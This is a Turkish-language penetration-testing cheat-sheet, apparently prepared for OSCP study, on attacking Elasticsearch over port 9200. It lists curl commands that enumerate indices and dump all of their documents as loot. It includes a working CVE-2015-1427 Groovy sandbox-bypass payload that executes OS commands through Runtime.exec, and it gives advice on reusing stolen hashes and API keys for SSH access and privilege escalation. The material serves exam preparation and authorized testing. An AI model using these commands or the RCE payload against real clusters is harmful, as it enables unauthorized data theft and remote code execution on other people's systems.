FOOTHOLD Metodoloji Cheat-sheet
9200

Elasticsearch

linux

Elasticsearch (cogunlukla kimlik dogrulamasiz): index enumeration ve dump, surum-bazli CVE (CVE-2014-3120 / CVE-2015-1427 RCE), hassas veri loot.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=http-elasticsearch-head {{RHOST}}
Elasticsearch tespiti ve web arayuz/head plugin kontrolu. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s http://{{RHOST}}:{{RPORT}}/
Kok endpoint ile surum (number, lucene_version) ve cluster bilgisi. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v'
Tum indeksleri (boyut, dokuman sayisi) listele. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/INDEXNAME/_search?pretty&size=1000'
Bir indeksin tum dokumanlarini dump et (loot). HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s -u {{USER}}:{{PASS}} 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v'
X-Pack auth aktifse temel kimlik dogrulamali enumeration. HackTricks — 9200 Pentesting Elasticsearch
curl ⚠ RESTRICTED
curl -s 'http://{{RHOST}}:{{RPORT}}/_search?pretty' -H 'Content-Type: application/json' -d '{"size":1,"script_fields":{"x":{"script":{"lang":"groovy","inline":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}}'
CVE-2015-1427 Groovy sandbox bypass ile RCE (Elasticsearch 1.3.x-1.4.x). Exploit-DB — Elasticsearch CVE-2015-1427

Genel Bakis

Elasticsearch (9200, HTTP REST API) OSCP’de iki acidan degerlidir: kimlik dogrulamasiz oldugunda indekslerdeki hassas veriyi loot etmek, ve eski surumlerde script-tabanli RCE CVE’leri.

Enumeration

  • curl http://host:9200/ ciktisindaki version.number kritik; CVE eslesmesini buna gore yap.
  • /_cat/indices?v indeks listesini, /_cat/health, /_nodes cluster detayini verir.
  • /INDEX/_search?pretty&size=1000 ile bir indeksin dokumanlarini cek; buyuk indekslerde scroll API veya size artirimi gerekir.
  • 9300 portu (transport/Java native) ayrica acik olabilir; 9200 REST’e odaklan.

Kimlik Dogrulama

  • Eski Elasticsearch’te varsayilan auth yoktur. X-Pack/Security aktifse elastic/varsayilan parola veya _security/user denenir; basic auth -u user:pass.

RCE — Surum Bazli CVE’ler

  • CVE-2014-3120 (ES < 1.2): dynamic scripting acik, MVEL script ile _search uzerinden komut calistirma.
  • CVE-2015-1427 (ES 1.3.0-1.4.2): Groovy scripting sandbox bypass; script_fields icinde Groovy inline ile Runtime.exec. Yukaridaki curl PoC bunu tetikler.
  • Bu CVE’ler script/otomatik istismara yakin oldugu icin examSafety restricted; surumu dogrulamadan (version.number) calistirmayin, yanlis surumde hata doner.

Loot / Pivot Notlari

  • Indekslerde kullanici kayitlari, parola hash’leri, log verileri, API anahtarlari bulunabilir; web/SSH icin tekrar kullan.
  • RCE genelde elasticsearch OS kullanicisi verir; standart Linux privesc enumeration’a (SUID, sudo, cron) gec.
  • Kibana (genelde 5601) ayni veriye GUI saglar; acik ise oradan da loot mumkundur.
┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set